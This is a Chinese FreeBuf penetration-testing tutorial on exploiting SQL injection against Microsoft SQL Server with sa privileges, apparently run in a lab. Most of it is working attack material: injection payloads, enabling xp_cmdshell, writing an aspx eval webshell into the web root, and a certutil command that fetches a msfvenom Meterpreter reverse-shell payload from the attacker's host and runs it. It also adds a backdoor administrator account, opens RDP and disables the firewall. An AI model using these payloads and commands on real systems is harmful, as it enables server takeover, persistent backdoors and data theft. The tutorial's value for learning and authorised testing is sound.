freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之基础篇:Microsoft SQL Server手注之Sa权限多种处理姿势
2021-08-31 09:18:20

往期文章

渗透测试之基础篇:Microsoft SQL Server手注之联合查询注入

渗透测试之基础篇:Microsoft SQL Server手注之报错注入

渗透测试之基础篇:Microsoft SQL Server手注之布尔型盲注

渗透测试之基础篇:Microsoft SQL Server手注之延时型时间盲注

渗透测试之基础篇:Microsoft SQL Server手注之Sa权限多种处理姿势

MSSQL注入探测

MSSQL权限划分

三个权限:sysadmindb_ownerpublic

sysadmin:可以执行所有操作
db_owner:可以执行数据库操作
public:只能执行查询操作

判断注入

注入点:http://192.168.159.135:8080/post.aspx

图片

加了一个单引号报错:

图片

存在注入,而且网站路径为:c:\Inetpub\mssql-sql\post.aspx

判断是否是MSSQL

admin' and exists (select * from sysobjects)  and '1'='1

图片

判断MSSQL版本

admin' and 1=(select @@VERSION)  and '1'='1

图片

判断当前数据库名

admin' And 1=(select db_name())  and '1'='1

图片

判断是否是系统管理员权限sa

admin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1

图片

xp_cmdshell执行命令

admin' ;exec master..xp_cmdshell "ipconfig" --

图片

虽然系统执行了,但是系统没回显给我们!这是为什么呢?

是因为我们只能执行命令后吧结果保存到一张表里,然后我们通过sql语句来查询这条表才能看到执行的命令结果!

我们在MSSQL客户端是可以执行回显的:

图片

写webshell

低权限也可以写webshell,只要是写权限就可以

有回显:有回显那么我们直接就可以找到webshell的路径
无回显:无回显就只能瞎鸡巴乱懵,看网站存放文件的规则然后Fuzz

因为我们是一个sa的高权限了,我们就可以让它执行一些其他命令来反弹shell或者说是写一个webshell到网站服务器里!

之前我们得到网站的绝对路径是c:\Inetpub\mssql-sql\post.aspx,下面这条语句就可以写文件进去了,我们先随便写一段话进去:

admin' ;exec master..xp_cmdshell "echo saulGoodman>c:\Inetpub\mssql-sql\1.txt" --

图片

图片

上帝视角看看:

图片

由上图可见,我们成功写入saulGoodman内容到了1.txt里!

小技巧:如何判断它是能执行命令的呢?

我们可以执行这条命令让他去ping网站10次:

admin' ;exec master..xp_cmdshell "ping -n 10 www.saulgoodman.cn" --

图片

ping -n 10 www.saulgoodman.cn,这条命令的意思是使用ping命令去像www.saulgoodman.cn去发送10条数据包!如果网站延迟了10秒左右说明我们的命令是可以执行的!

如果没有执行的话,说明它没有开启xp_cmdshell,那么我们可以使用下面的语句去开启他:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭的话就吧1修改为0

写一句话

aspx一句话木马:

<% @Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>

写入语句:

admin' ;exec master..xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"saul^"^]^,^"unsafe^")^;^%^>>c:\Inetpub\mssql-sql\1.aspx'--
注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!

图片

上帝视角看看:

图片

由上图可见,我们成功写入到了网站根目录!

蚁剑连接成功:

图片

图片

这样我们就通过注入点来拿到了一个Webshell!

下载执行反向远程控制服务端(木马)

首先要让对方下载我们的恶意文件,那么我们需要有一个服务端,用python开启一个服务端:

python -m SimpleHTTPServer 9000

图片

有了服务端,然后我们在KALI上生成一个反向木马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8888 -f exe >8888.exe

图片

这个时候我们的木马地址就是:http://192.168.159.128:9000/8888.exe

最后MSF开启监听等待肉鸡上线:

图片

准备工作完成后,我们就可以在注入点上去执行这条命令:(只能2008以上,2003测试失败)

原命令:
certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe
加上注入语句:
admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe" --

图片

然后我们执行:

admin' ;exec master..xp_cmdshell "8888.exe" --

图片

图片

或者还可以一条命令完成:

admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe &&8888.exe" --

图片

成功上线!

添加用户

PS:当前权限是有添加用户的权限,需要administratorsystem

添加用户 saul 并提升为管理员组:
net user saul saul123... /add && net localgroup administrators saul /add
添加 saul 为远程桌面组(有的时候需要添加到远程桌面组才能登陆3308):
net localgroup "Remote Management Users" saul /add
admin' ;exec master..xp_cmdshell "net user saul saul123... /add&net localgroup administrators saul /add"--

图片

上帝视角看看:

图片

登陆远程桌面:mstsc

图片

可以看到登陆成功!

PS:如果登陆之后我们需要吧用户注销!不然用户还是在登陆状态中的!

图片

完成了一些后渗透操作记得要把用户删除

net user saul /del

那么还有一种情况是目标没有开3389又或者是开启了防火墙

那么就可以执行命令让他开3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙命令(慎用):

netsh advfirewall set allprofiles state off
# 渗透测试 # SQL注入 # web安全 # MSSQL # sql注入原理
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录